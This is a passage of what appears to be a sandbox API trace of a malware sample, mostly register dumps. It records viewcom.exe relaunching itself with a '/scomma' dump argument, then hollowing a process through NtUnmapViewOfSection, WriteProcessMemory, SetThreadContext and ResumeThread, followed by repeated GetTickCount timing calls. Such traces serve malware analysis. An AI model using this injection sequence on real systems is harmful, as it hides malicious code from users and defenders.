[486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1
[0079.184] IsWow64Process (in: hProcess=0x3c0, Wow64Process=0x182f92c | out: Wow64Process=0x182f92c) returned 1
[0079.184] WriteProcessMemory (in: hProcess=0x3c0, lpBaseAddress=0x400000, lpBuffer=0x1b50000*, nSize=0x19000, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x1b50000*, lpNumberOfBytesWritten=0x0) returned 1
[0079.186] WriteProcessMemory (in: hProcess=0x3c0, lpBaseAddress=0x7ffda008, lpBuffer=0x182f930*, nSize=0x4, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x182f930*, lpNumberOfBytesWritten=0x0) returned 1
[0079.186] SetThreadContext (hThread=0x3c4, lpContext=0x182f640*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7ffda000, Edx=0x0, Ecx=0x0, Eax=0x406c63, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1
[0079.186] ResumeThread (hThread=0x3c4) returned 0x1
[0079.186] WaitForSingleObject (hHandle=0x3c0, dwMilliseconds=0xffffffff) returned 0x0
[0088.419] CloseHandle (hObject=0x3c0) returned 1
[0088.419] CloseHandle (hObject=0x3c4) returned 1
[0088.419] CloseHandle (hObject=0x0) returned 0
[0088.419] VirtualFree (lpAddress=0x1b50000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0088.420] GetTickCount () returned 0x1c62b
[0088.471] GetTickCount () returned 0x1c65a
[0088.471] GetTickCount () returned 0x1c65a
[0088.471] GetTickCount () returned 0x1c65a
[0088.523] GetTickCount () returned 0x1c689
[0088.538] GetTickCount () returned 0x1c698
[0088.538] GetTickCount () returned 0x1c698
[0088.573] GetTickCount () returned 0x1c6b7
[0088.625] GetTickCount () returned 0x1c6f6
[0088.625] GetTickCount () returned 0x1c6f6
[0088.625] GetTickCount () returned 0x1c6f6
[0088.642] GetTickCount () returned 0x1c705
[0088.715] GetTickCount () returned 0x1c753
[0088.731] GetTickCount () returned 0x1c763
[0088.731] GetTickCount () returned 0x1c763
[0088.731] GetTickCount () returned 0x1c763
[0088.746] GetTickCount () returned 0x1c773
[0088.810] GetTickCount () returned 0x1c7b1
[0088.824] GetTickCount () returned 0x1c7c1
[0088.824] GetTickCount () returned 0x1c7c1
[0088.840] GetTickCount () returned 0x1c7d0
[0088.918] GetTickCount () returned 0x1c81e
[0088.933] GetTickCount () returned 0x1c82e
[0088.933] GetTickCount () returned 0x1c82e
[0088.948] GetTickCount () returned 0x1c83d
[0089.011] GetTickCount () returned 0x1c87c
[0089.028] GetTickCount () returned 0x1c88b
[0089.028] GetTickCount () returned 0x1c88b
[0089.042] GetTickCount () returned 0x1c89b
[0089.120] GetTickCount () returned 0x1c8e9
[0089.120] GetTickCount () returned 0x1c8e9
[0089.120] GetTickCount () returned 0x1c8e9
[0089.136] GetTickCount () returned 0x1c8f9
[0089.214] GetTickCount () returned 0x1c947
[0089.230] GetTickCount () returned 0x1c956
[0089.230] GetTickCount () returned 0x1c956
[0089.245] GetTickCount () returned 0x1c966
[0089.308] GetTickCount () returned 0x1c9a4
[0089.323] GetTickCount () returned 0x1c9b4
[0089.323] GetTickCount () returned 0x1c9b4
[0089.344] GetTickCount () returned 0x1c9c3
[0089.417] GetTickCount () returned 0x1ca11
[0089.432] GetTickCount () returned 0x1ca21
[0089.432] GetTickCount () returned 0x1ca21
[0089.447] GetTickCount () returned 0x1ca31
[0089.511] GetTickCount () returned 0x1ca6f
[0089.526] GetTickCount () returned 0x1ca7f
[0089.526] GetTickCount () returned 0x1ca7f
[0089.542] GetTickCount () returned 0x1ca8e
[0089.620] GetTickCount () returned 0x1cadc
[0089.620] GetTickCount () returned 0x1cadc
[0089.620] GetTickCount () returned 0x1cadc
[0089.635] GetTickCount () returned 0x1caec
[0089.713] GetTickCount () returned 0x1cb3a
[0089.728] GetTickCount () returned 0x1cb49
[0089.728] GetTickCount () returned 0x1cb49
[0089.728] GetTickCount () returned 0x1cb49
[0089.744] GetTickCount () returned 0x1cb59
[0089.806] GetTickCount () returned 0x1cb97
[0089.823] GetTickCount () returned 0x1cba7
[0089.823] GetTickCount () returned 0x1cba7
[0089.838] GetTickCount () returned 0x1cbb7
[0089.916] GetTickCount () returned 0x1cc05
[0089.931] GetTickCount () returned 0x1cc14
[0089.931] GetTickCount () returned 0x1cc14
[0089.947] GetTickCount () returned 0x1cc24
[0090.009] GetTickCount () returned 0x1cc62
[0090.026] GetTickCount () returned 0x1cc72
[0090.026] GetTickCount () returned 0x1cc72
[0090.052] GetTickCount () returned 0x1cc81
[0090.118] GetTickCount () returned 0x1cccf
[0090.118] GetTickCount () returned 0x1cccf
[0090.118] GetTickCount () returned 0x1cccf
[0090.135] GetTickCount () returned 0x1ccdf
[0090.212] GetTickCount () returned 0x1cd2d
[0090.229] GetTickCount () returned 0x1cd3d
[0090.229] GetTickCount () returned 0x1cd3d
[0090.243] GetTickCount () returned 0x1cd4c
[0090.306] GetTickCount () returned 0x1cd8b
[0090.323] GetTickCount () returned 0x1cd9a
[0090.323] GetTickCount () returned 0x1cd9a
[0090.337] GetTickCount () returned 0x1cdaa
[0090.416] GetTickCount () returned 0x1cdf8
[0090.430] GetTickCount () returned 0x1ce07
[0090.430] GetTickCount () returned 0x1ce07
[0090.446] GetTickCount () returned 0x1ce17
[0090.508] GetTickCount () returned 0x1ce55
[0090.524] GetTickCount () returned 0x1ce65
[0090.524] GetTickCount () returned 0x1ce65
[0090.540] GetTickCount () returned 0x1ce75
[0090.618] GetTickCount () returned 0x1cec3
[0090.633] GetTickCount () returned 0x1ced2
[0090.633] GetTickCount () returned 0x1ced2
[0090.649] GetTickCount () returned 0x1cee2
[0090.713] GetTickCount () returned 0x1cf20
[0090.727] GetTickCount () returned 0x1cf30
[0090.727] GetTickCount () returned 0x1cf30
[0090.727] GetTickCount () returned 0x1cf30
[0090.742] GetTickCount () returned 0x1cf3f
[0090.821] GetTickCount () returned 0x1cf8d
[0090.821] GetTickCount () returned 0x1cf8d
[0090.821] GetTickCount () returned 0x1cf8d
[0090.836] GetTickCount () returned 0x1cf9d
[0090.914] GetTickCount () returned 0x1cfeb
[0090.930] GetTickCount () returned 0x1cffb
[0090.930] GetTickCount () returned 0x1cffb
[0090.946] GetTickCount () returned 0x1d00a
[0091.008] GetTickCount () returned 0x1d049
[0091.023] GetTickCount () returned 0x1d058
[0091.023] GetTickCount () returned 0x1d058
[0091.039] GetTickCount () returned 0x1d068
[0091.117] GetTickCount () returned 0x1d0b6
[0091.133] GetTickCount () returned 0x1d0c5
[0091.133] GetTickCount () returned 0x1d0c5
[0091.148] GetTickCount () returned 0x1d0d5
[0091.211] GetTickCount () returned 0x1d113
[0091.226] GetTickCount () returned 0x1d123
[0091.226] GetTickCount () returned 0x1d123
[0091.242] GetTickCount () returned 0x1d133
[0091.320] GetTickCount () returned 0x1d181
[0091.320] GetTickCount () returned 0x1d181
[0091.320] GetTickCount () returned 0x1d181
[0091.335] GetTickCount () returned 0x1d190
[0091.413] GetTickCount () returned 0x1d1de
[0091.429] GetTickCount () returned 0x1d1ee
[0091.429] GetTickCount () returned 0x1d1ee
[0091.444] GetTickCount () returned 0x1d1fd
[0091.507] GetTickCount () returned 0x1d23c
[0091.522] GetTickCount () returned 0x1d24b
[0091.523] GetTickCount () returned 0x1d24b
[0091.538] GetTickCount () returned 0x1d25b
[0091.617] GetTickCount () returned 0x1d2a9
[0091.632] GetTickCount () returned 0x1d2b9
[0091.632] GetTickCount () returned 0x1d2b9
[0091.647] GetTickCount () returned 0x1d2c8
[0091.710] GetTickCount () returned 0x1d307
[0091.725] GetTickCount () returned 0x1d316
[0091.725] GetTickCount () returned 0x1d316
[0091.725] GetTickCount () returned 0x1d316
[0091.741] GetTickCount () returned 0x1d326
[0091.819] GetTickCount () returned 0x1d374
[0091.819] GetTickCount () returned 0x1d374
[0091.819] GetTickCount () returned 0x1d374
[0091.834] GetTickCount () returned 0x1d383
[0091.912] GetTickCount () returned 0x1d3d1
[0091.928] GetTickCount () returned 0x1d3e1
[0091.928] GetTickCount () returned 0x1d3e1
[0091.944] GetTickCount () returned 0x1d3f1
[0092.007] GetTickCount () returned 0x1d42f
[0092.021] GetTickCount () returned 0x1d43f
[0092.022] GetTickCount () returned 0x1d43f
[0092.037] GetTickCount () returned 0x1d44e
[0092.115] GetTickCount () returned 0x1d49c
[0092.132] GetTickCount () returned 0x1d4ac
[0092.132] GetTickCount () returned 0x1d4ac
[0092.146] GetTickCount () returned 0x1d4bb
[0092.209] GetTickCount () returned 0x1d4fa
[0092.224] GetTickCount () returned 0x1d509
[0092.224] GetTickCount () returned 0x1d509
[0092.240] GetTickCount () returned 0x1d519
[0092.318] GetTickCount () returned 0x1d567
[0092.334] GetTickCount () returned 0x1d577
[0092.334] GetTickCount () returned 0x1d577
[0092.349] GetTickCount () returned 0x1d586
[0092.412] GetTickCount () returned 0x1d5c5
[0092.427] GetTickCount () returned 0x1d5d4
[0092.427] GetTickCount () returned 0x1d5d4
[0092.443] GetTickCount () returned 0x1d5e4
[0092.521] GetTickCount () returned 0x1d632
[0092.521] GetTickCount () returned 0x1d632
[0092.521] GetTickCount () returned 0x1d632
[0092.537] GetTickCount () returned 0x1d641
[0092.615] GetTickCount () returned 0x1d68f
[0092.630] GetTickCount () returned 0x1d69f
[0092.630] GetTickCount () returned 0x1d69f
[0092.645] GetTickCount () returned 0x1d6af
[0095.641] GetTickCount () returned 0x1e262
[0095.719] GetTickCount () returned 0x1e2b0
[0095.720] GetTickCount () returned 0x1e2b0
[0095.734] GetTickCount () returned 0x1e2bf
[0095.828] GetTickCount () returned 0x1e31d
Thread:
id = 51
os_tid = 0xbb4
Thread:
id = 53
os_tid = 0xc48
[0076.032] GetTickCount () returned 0x19877
[0077.038] GetTickCount () returned 0x19c5d
[0078.060] GetTickCount () returned 0x1a053
[0078.263] GetTickCount () returned 0x1a11e
[0078.263] GetTickCount () returned 0x1a11e
[0078.278] GetTickCount () returned 0x1a12e
[0078.356] GetTickCount () returned 0x1a17c
[0078.356] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d2fb58, nSize=0x104 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0078.356] _snwprintf (in: _Dest=0x1d2f950, _Count=0x104, _Format="\"%s\" /scomma \"%s\"" | out: _Dest="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\" /scomma \"C:\\ProgramData\\9F1B.tmp\"") returned 99
[0078.356] VirtualAlloc (lpAddress=0x0, dwSize=0x1c000, flAllocationType=0x3000, flProtect=0x4) returned 0x1ad0000
[0078.360] WTSGetActiveConsoleSessionId () returned 0x1
[0078.360] WTSQueryUserToken (SessionId=0x1, phToken=0x1d2fd7c*=0x3d9108) returned 0
[0078.360] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\" /scomma \"C:\\ProgramData\\9F1B.tmp\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x1d2f8e8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1d2fd64 | out: lpCommandLine="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\" /scomma \"C:\\ProgramData\\9F1B.tmp\"", lpProcessInformation=0x1d2fd64*(hProcess=0x3b0, hThread=0x3ac, dwProcessId=0xc70, dwThreadId=0xc74)) returned 1
[0078.367] VirtualQueryEx (in: hProcess=0x3b0, lpAddress=0x400000, lpBuffer=0x1d2f90c, dwLength=0x1c | out: lpBuffer=0x1d2f90c*(BaseAddress=0x400000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c
[0078.367] VirtualProtectEx (in: hProcess=0x3b0, lpAddress=0x400000, dwSize=0x1c000, flNewProtect=0x40, lpflOldProtect=0x1d2f928 | out: lpflOldProtect=0x1d2f928*=0xa6579770) returned 0
[0078.368] NtUnmapViewOfSection (ProcessHandle=0x3b0, BaseAddress=0x400000) returned 0x0
[0078.368] VirtualAllocEx (hProcess=0x3b0, lpAddress=0x400000, dwSize=0x1c000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000
[0078.385] GetThreadContext (in: hThread=0x3ac, lpContext=0x1d2f640 | out: lpContext=0x1d2f640*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7ffdd000, Edx=0x0, Ecx=0x0, Eax=0x401390, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, 